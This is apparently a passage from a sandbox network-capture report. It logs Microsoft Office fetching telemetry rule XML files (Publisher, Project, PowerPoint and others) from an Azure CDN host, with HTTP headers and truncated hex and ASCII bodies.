2024-10-29 03:53:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49881	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:21 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035321Z-16849878b78g2m84h2v9sta29000000004xg000000007zt0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49882	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:21 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:21 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a91e6534-e01e-0020-5f90-27de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035321Z-17c5cb586f65j4snvy39m6qus400000001dg0000000005gn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:21 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:22 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 2264d41c-e01e-000c-05b3-278e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035322Z-17c5cb586f6lxnvg801rcb3n8n00000005tg00000000bzp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:22 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49883	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:21 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:22 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:22 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 9a40e34d-b01e-005c-559c-274c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035322Z-16849878b78qg9mlz11wgn0wcc00000005mg000000007mv4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:22 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49885	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:22 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:22 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035322Z-16849878b78p49s6zkwt11bbkn00000005p00000000092cg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49886	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:22 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035322Z-16849878b78qfbkc5yywmsbg0c00000005mg00000000g6hg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49887	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:22 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:22 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:22 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 3b873659-401e-0067-0d93-2909c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035322Z-r197bdfb6b4skzzvqpzzd3xetg00000005dg000000004b9v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:22 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49888	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:22 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:22 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:22 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035322Z-16849878b78zqkvcwgr6h55x9n00000005fg000000005gzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49889	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:22 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 30963bf2-701e-0001-2a98-28b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035322Z-15b8d89586flspj6y6m5fk442w0000000bug0000000078g0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49890	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:22 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035322Z-16849878b7867ttgfbpnfxt44s00000005r000000000u3tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:23 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:23 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:23 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:23 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035323Z-16849878b785dznd7xpawq9gcn00000007b000000000e5b3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
